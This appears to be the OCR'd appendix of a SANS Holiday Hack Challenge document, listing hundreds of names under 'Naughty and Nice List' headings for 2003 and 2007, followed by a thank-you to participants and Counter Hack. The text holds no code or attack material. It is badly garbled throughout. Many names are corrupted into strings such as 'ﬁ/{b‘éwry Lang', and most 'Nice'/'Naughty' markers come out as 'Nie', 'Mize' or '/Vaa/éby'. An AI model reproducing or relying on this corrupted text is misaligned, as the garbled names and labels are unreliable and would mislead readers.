Mize
Nie
Nie
N
Nie

/l/aa/éé%

Wize

/%m/éé/

/%uyééy

Nie
N
Nie
N
Nie
Mice
N
Nie
Nie
Nie
Nie
N
Nie
N
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ﬁ/{b‘éwry Lang
ﬁ’/(téw(y L
Arnold Monroe
Apthar ?ﬁay
Ashtoe Az
Ashtoe Chen
Ashtee 7%4{}@
Asif Waters
Awtunn Bautista
Autamn /%/‘7«&2
Barb Sharma
Belinda Frakash
Belinda Vargas
Bulth g

Bernadette 5/‘40//&%
Bernadette 7%//0«/&%

Bernadette Law
Beth /@d/{
5@&% Carr
5&&‘% Marse
Beverty Lhali
Bl Lee

Bitly i
B Ara

Btake Donaldlson
Blake Nieloen

Nie

N

Nie
/Vaa/ébji
Nie

Nie
/Vaa/éb}
Mize

Nie

Nie
/Vaa/ééy
Nie

Nie

Nie

M

N
/Vaa/éb}
Mize

Nie

Nie
/Vacyébjy
Mize

Nie
/l/aa/éby
Mize

/Vacyébjy

APPENDIX — 2003 NavonTy aud Nice LisT)O §



bob Byﬁm
Bonnte 5/%50/(
Bonnie Maher
Bonnie Foberts
507 Q«e&&‘ﬁ/&a
gﬂaa’/ef Ardpews
Brenda Krishnan

Brendan 5«4/{/}@}4&#{

Brendan (bratiin
Brendan Flrera
Brent Fascaal
5/6/2{}@1,‘ 5«05/%
DBrittany Castiths
5/6/#/(% Colon
Bﬁ/l‘b‘wy Frost
Brooke Phillpe
Brwce Agparwed
nywr Freeman
ﬁa@éy faa/;ww/(

5%/‘0/( Foster

Calod Delucraz
Cameron Maiwell
Canitle el
Camitle Sitra
Camitle VVeloz
Candice Ford

Nie

N

N

/Vacyééy

/l/azyé&}

Mize

N

/Muyé&%
/Ce

N

Nie

N

N

N

N

/Vacyé@

Mize

N

Nize

N

Nie

N

N

N

N

Nie
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Cara tadson
Coartla Buchanan
Carty Arora
Cartos Fotter
Cartos Whitehead
Carol Foralta

&z/‘/‘/é faﬁa/&

Carrre Nivon

5&&% Walkbers
&z&%y Nasi
Chartes Mathews
Charlotte Frasad
Chartotte Kok
Charmaine faﬁwy
Charmaine (76;@@/74
Chase cgéfaf/'ya/
Chase Vicent
54@/%% Hurst
Chtoe Allen
Chtoe Moran
gé/‘/&by Me/Yitan
54/6/{5’;/ Skirastavra
54/6/(?6% Woods
5/}(6{% Low Who
Cndy Fatil
g/)ﬂ{y Fatriok

Nie
/Vaa/éby
Mize

N

Nie

Nie

N

Nie

Nie

Nie

N

Nie

Nie

Nie
/%zcg/é@
Nize

N

Nie

Nie

Nie

N
/%zzyéb}
Mize
/l/aa/éby
/%zcg/éé/
/Vacyébjy
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é/' Landry

Cluire f«/‘a/r/
&c{y Ahalll
&wf Malhotra
gd«/‘lfl{&% Areamer
5/%/} John
Curtic Summers
Date Chor
Damian z%a/%/a/g/
Damten Norton
Demten Foter
Damon Newton
Darren Shrestha
Darryl Dabton
Daryl Flores
Dave Bowen
David Ballard
Deanna Blohardson
Deb Chase
ﬂee/ﬁaf Obrren
Dennis Fotard
Derrick Christian
ﬂ/é/m Cha

ﬂ/é/ﬂ ﬂaw@w/v&‘
Diva Odonne’

pwf(/}(/yaa Bennelt

Nie

/Vaa/éby

Mize

N

Nie

/Vaa/é@

Mize

Nie

/Vda/él%

Mize

N

Nie

Nie

Nie

M

Nize

N

/Vaayééy

Nie

/%zcg/éé%
/ce

N

Nie

Mize

Nie

N
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Donald Jane
Donald Jotns
Donna Adans
Doreen Adan
Doreen f/é/ff/}%
Dr. Who
ﬁmym Manue?
Ldith Arderson
Ldwin /Da/(o(ef
Flaine Anin
e Somi

FHlor Gordon
Lrita Norton
Lrin [ ran

Lrin Welle
Lrnest ?///egﬁ/é
Lrnest Fu
Lrnest Fobbins
ﬁ/e/(a fa/(c/é/
Loa Poter
fw(y/( B/ya/(
fw{y« Horn
Faith Harding
Farat Kok
Fatina Moss
Felis Melean

Nie

N

N

Nie

N
/Vacyé@
Mize

N

N

N

Nie

N

N
/Vaa/é@
N

Nie

N

N

N

N

Nie

N
/Mzcg/é@

/ce

N
/Vaayééy
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Frances (bratin
Franciseo |itlanuesa
Frank Chang
&z//‘/é/a Brown
;af/‘/é//e Blue
fai/‘/é//é Flerce
?a/‘el% Fated
?cwy o

¢a/(e 5«/{/{/}(/@”{
Gone Wileh
fe/‘a/o/ Becker
Gllian Fernandes
Gllan Honderson
gam/a/( White
?ﬁaw Craz
¢/°406 Holwes
Grant Frakash

?ﬁefz Benson
Greg Churg
Guwen Hanson
ﬁ&/@y Davidson
Hona Allon
Horold ﬁlyaﬁz
Hoids Draz
’%/(/‘% 72/"/(@/"
#@/{/7 Witlians

Nie
N
Nie
N
Nie
Nie
N
Nie
Nie
Nie
N
Nie
Nie
Nie
M
Nize
N
Nie
Nie
/%zcg/éé%
/ce
N
Nie
/l/aa/éby
Mize

Nie
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7%//? L[M/‘///‘ea/(
Hunter Carritly
Vs féaffe/‘
(eabel Joyce
(sabel Mehta
(sabel Withiamson
ﬂ% Lo/

nckson Yee
(]a-ayae/?}(a Hawkins
(Zwyae/?}(e Snart
ared (sbam
Jasmin <§62/f(/ﬂ¢§"0/(
ason Santos

(]&y Saunders
Jeanette [ anner
Orffrey Ovorncll
Jen David

Uen /@c/ﬁé&/ae&z
Jen Santos
(]é/(/(/fe/é Hoddad
Ueremiah Bradshaw
%ﬁ&/ﬁ(f Ahan
Vess Az

essica Boyte
I Burke

I Calieron

Nie

N

Nie

Mize

Nie

Nie

N

Nie

Nie

Nie

N

Nie

Nie

/l/da/éb}

/%zcg/é@

/Vaa/éb%

Mize

Mize

Nie

/%zcg/é@
/ce

N

/l/acg/ééy

Mize

Nie

N
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Ithan Chandra
Jitllan /%y

Urn Chen

Ui Foster
Jod/ f:?/ﬁ/}mza
odie FPerera
Ushan /U/*/y
ohan Deonnor
Uotn Coleman
John Vaayé/r
Jobnny Fotter
Uoso Costa
(]a@e/aé Sabazar
(]a&’e/ﬁé/}(e Howard
(fof Chandler
(]ay Aramer
Joyoe Franco
Juanita 5«/&//@&?
Juanita faﬁa/(/
Juania 720#(/0@0/(
Untlet Kobbins
Tidio Dify
Janior fé/yam(
Justive Winters
Kari Marshall
Aarina Baagfe%

Nie
N
Nie
N
Nie
Nie
N
Nie
Nie
Nie
N
Nie
Nie

Nice
/M’aa
Nie

/l/da/éb}

/Vaayééy

Nie
Nie
N
N
Nie
Mize
Nie
N
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Lariva Chavez
Karina Cortez
Karina Fusso
Kard Baldwrin
Lart Burnett
fat fao/ya
fate 5%/@
/fazfé/y/( Melntosh
Katrina Maria
/L/al{y Bond
/t/al/} Chen

/fay Freeman
Leith Fower
Aell) ?ﬁ/m@
felle Fotorsen
/@/Z% Bowers
tolly Fou
Lendra Krishna
Aenneth W%&M’
/L/e/(/(/ Floloker
/i//}my Loans
Lriic Swanson
Lris [ hornton
Lrichna Hubbard
Aristive Burns
/f/y@ta/ Klos

Nie
N
Nie
N
Nie
Nie
N
Nie
Nie

Wiise

Nie
Nie
Nie
M
Nize
N
Nie
Nie
Nie

Wice

Nie
Mize
Nie
N

/%zcg/ééy

/Vacyébjy
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Lana Arsars
Lana Jéa«/}gx@
Lance Baaticta
Lance [ee
Lance //w(f%a
/cw? /%m%
Za/o/y Melntosh
Lawren Lucas
Lea Burns

Lea Mendez
Leak Witliams
Lee Bowers
/egé /%/f;}(/(ey
Lestie [ anner
Lira fock

Liva Vitla
//}(c/&e% Lambert
Lopar G
/0;/&/( Harmon
Los #7«/3(0

Lorena ﬂwf(/}gzaez

Lorena //}(c/@a%
Lors fea/yze
Lori' Mokamed
Lowe Kl
Lowe Stevens

Nie

N

N

Nie
/l/azyé&}
Mize

N

N

N

N

Nie

N

N

N

N
/Vacyé@
Mize

N
/Vaa/éb%
Mize

Nie

N

N
/Vaa/ébjy
Mize

Nie
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Lows Leon

Lucas Dl
Lucas Uohnson
Lucas a

Lucy Alox

Luss Shnelur
Uy ey

/y/(/(e Obsen
/y/(/(e Oleon
Lynne Kodgers
//a///é Athan
Malootn Frasad
Manish (@ffe/‘m(
Menuel fmém
Mare Michae!
Marcas Sehmidt
/%/y//é Fa/ya&w(
/%/y/é z%f man
Marian Brewer
Marian Dallion
Marian fent
Mariana Keese
Marie elloy
Marityn Matone

/%/‘/w( /%/(/(/}g/
Marissa ﬁz//o/é/

/Vacyééy
/Vaa/éby
Mize
Mize
Nie
Nie
N
Nie
Nie
/%zcg/ééy
/Vaa/ééy
Nie
Nie
/l/da/éb}
Mize
N
N
/Vaayééy
Nie
Nie
/Vacyébjy
Mize
Nie
N
/%zcg/éé/

Wiize
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Marissa Whitehead

Merk Frak
Mark Pugne
Marvic Sin
/%/y Bee
//42/7 5(}/?&4
/%/y z%aya
Maarize ﬂe{wa{o
/%aﬁ/ba Jarwrs
Mav Solomon
//e@yw{ Donovan
/%y Johnson
Mel Chandlor
Mel Matthews
Mel Fussell
Mebida Chartes
Melissa Mendez
Meligsa Porera
/%/‘a//?fé 54@«/@}/
Mia tHartnan
Michael 5«%/@&?
Micheal Ahmad
Michelle Leach
Mie ool
Mina Benson
Mixa [eo

Nie
/Vaa/éby
Mize
Mize

Nie

Nie

N

Nie

Nie

Nie
/Vaa/ééy
Nie
/Vaayé@
Mize

M

N

N
Mize

Nie

Nie

N

N

Nie
/l/aa/éby
Mize

Nie
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Miedy Witer
/”/kb} &Mc{y&a«a
Miranda Samson
Mirian For
Mitam f/‘aéa/f(
Missy tewitt
/”/fﬁgy /Pay
/”/3’«% Wiiteon
Mohanmed Foote
Mohanmed Frince
Mokd Gy
Mokit Linmerman
Motly Orar
Mona Mirray
Monsza gfyalr
Moniza /@f
/%q/'yae f///a‘gﬁ/é
/%J’fafa Bell
/%&z‘a/a &/yan‘w
Nadia Bucthanan
Nana Davidson
/%z/w/ [ an
Naomi' Abdullas
Naomi' Sehaltz
Nate Bowers
Nathan /5@//

Nie
N
Nie
N
Nie
Nie
N
Nie
Nie
Nie
N

/Vaa/éb}

Nie
Nie
M
Nize

Wice

Nie

/Vaa/éb}

/%zcg/éé%

ce

N
Nie
Mize
Nie
N
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Nathan 7amner
Nathanied Allon
Nathaniol Matthews
Neha Shaikk
Nei Lu

Nichotas /a/(a//y
Nichotas T hornton
/V/éfy Anox
Nicot 7 anner
Nicolas Juarez
Nicotas Michael
/V/}e/ Brennan
Nikhi? Moore
Nihil Norman
Nina 5&7@/%//
Nitin Ma

Noak Maker
Norma Moran
Nar ﬁlfrtémf
Nar lemail
Ollver faﬁza
Oljver /Da/(/ey
Onar Fuentes
FPan Chan

Fat Bradshaw
Fatriora ?«y

Nie
N
Nie
N
Nie
Nie
N
Nie
Nie
Nie
N
Nie
Nie
Nie
/%zcg/é@
Nize
N
Nie
Nie
Nie
N
N
Nie
/l/aa/éby
Mize

/Vacyébjy

APPENDIX — 2007 NAvGHTY AND Nice LisT ) 2)



Faal Newton
Fedro Abbott
Pepper Minstis
/Dé///{a Sheikh
Flerre Brace
Flerre Foote
Fraveen ﬁl/‘mlfm/g/
Frince Brock
Frirce Cannon
/D/o/;/a /@%
Kuchael Frazier
Guohact Roitl
Kuctelle Brewer
£ afaa/ Lane

£ 4 @aeﬁaa
Kuna Abbott
Kana Chang
Purdel? G
Kuil Fraser
/@y Sharma
/@y/}m Ma

Ko Frsoher
Kon Larson
RKieards Wyatt
Kleh Kujas
Kot Maria

Nie

N

Nie

/Vaa/ébji

Nie

Nie

N

Nie

Nie

Nie

N

Nie

/Vaayé@

Mize

M

/Vaa/éb%

Mize

Mize

Nie

/%zcg/éé%
/ce

/%zzyéby

/l/acg/ééy

Mize

Nie

/Vacyébjy
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ek Mark
/@'a@ %;w%m
E/éy Lawrence
Ry Love
Koberta Forbes
Koberta Gomes
fod Bablard
/@/e/o Avosta
Ko Oreit
Koss ﬁzﬁ/o@n‘

Foanne Corvantes

/@f Shnmons

Fuben Woodward
/@a/( Fisher
Sabrina Lane
San z%amfwy'
Samr %L‘/éﬁ/‘ez
Sami’ Sandoval
Samuel /@y@&
cﬁll(d/@@/ﬁ gd/f(&/‘ﬂ/(
Sandeey Quirn
fa/(a/ee/ﬁ Santos
Sandra ODsborne
Sndy Bloke
&W{y /@/ﬁy/aez
fay’ay 5&#(/&/@//

Nie
N
Nie
N
Nie
Nie
N
Nie
Nie
Nie
N
Nie
Nie
Nie
M
Nize
N
Nie
Nie
Nie
N
N
/l/acg/ééy
Mize
Nie
N
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fay’ay Hammond
Sara Mark

Sasha Chin
Sawrabh Chow
Szott (cbam

Sean Lix

‘.@/7/27 Honcock
Seth Barr
Shane #Mmftﬁng
Sharon ?ﬁee/(e
Shawn Low
féaa/( /////6/‘
Shawn Arora
Shawn FPeralta
Sheitn A
féz//y Sawnders
f@//ey Flzabeth
fée/éf /%fe/‘@
Shers Alimed
Shers Lewrs
Sherri Carter
LY ée/y/ Athins
fé/)(/(y Zmzf/‘w
Stma Mullor
Sinon ?ﬁ@e/(e

Shnon /Da/a

Nie

Nize
Mize
Nie
Nie
N
Nie
Nie
Nie
N

/Vaa/éby

/Vaa/éb}

Nie
Nie
M
N
N
Mize
Nie

/%zcg/éé%

ce

N
Nie
N
Nie
N
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Simon Samson

faf/& Coritez
faf/& Mark,
fa/bé/a ﬁz/a/%/‘
‘.faa/%/e /@a’/@ﬁiy
$ tacey Beck

$ Ifaaey Aerr

§ faay Me Mahon
$ L‘efa/( Kumos

$ lofanre Chautkan
Stelln Show

$ Lephante Harrison
$ te/ﬁée/( Farks
Steve 5@//@
Steven &*@@/‘
fa;/e/fp/m /%/7
Sumit Arand
Sunit Qliver
Susan fam/a
Suzanne Honna
Suzanne Hart
Swzanne Fihard
cfya?ey Kun
cfyea’ Ditlon
Sybria Seatt

[ ania Buchanan

Nie
N
N
Nie
N
Nie
N
N
N
N
Nie
N

Wice

N
Nie
N
N
Nize
N
Nie
N
N
N
N
Nie

/%zcg/é&jy
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72/;@}( //&(Z}(//aéaa@w

70-1%/0/4 Suntos
Ted Gull
Tedly Hobts
Teri [ olontino
[ ffony Lonp
[ria //m/é/o%
T

7 MelCay

7 odd Arand
Ton Roitly
[on/ /@a/ﬁgbaez
[ors ﬁ//és/’a/'e
Tori Pertins
[ors’ Foman
7/-%0@% Kowe
[ revor Cloments
[revor Furks
Tz sz
@ Ferrerra

Val Corner
Vanessa /%&fa/}‘e
Vera //a/w}ytm
Vera Fabner
Vera [hakur
Vera [rwars

Nie

N
/Va«yé@
Mize

Nie

Nie
/Vaa/éb}
Mize

Nie

Nie

N

Nie

Nie

Nie

M
/Vaa/éb%
Mize
Mize

Nie

Nie
/Vacyébjy
Mize

Nie

N

Nie

N
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Vieks Niebsen
Viekie Sotli
Vietoria Joyce
VO/]% Kobbins
Vikas Barker
Vikas Coe
Wonda ?«m«y
Wanda Steets
/{/%/ef Morton
Wanorse Openstae
%ﬂ/{/{@ M//ﬁ?
Lac QeonnelV

Nie

N

N
/Vacyééy
Mize

Nie

N

N
/Vaa/é@
Mize

Nie

N
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SPECIAL THANKS

A SPECIAL THANKS TO ALL OF THIS YEAR'S

PARTICIPANTS WHO LENT A HELPING HAND

AND FOR MAKING THIS YEAR'S HOLIDAY
HACK CHALLENGE MERRY AND BRIGHT

AND A VERY SPECIAL THANKS TO ALL THE
FOLKS AT COUNTER HACK FOR PUTTING

TOGETHER SVUCH AN AMAZING ONLINE
EVENT!

vNTiL NEXT YeEAR!

-TJASON
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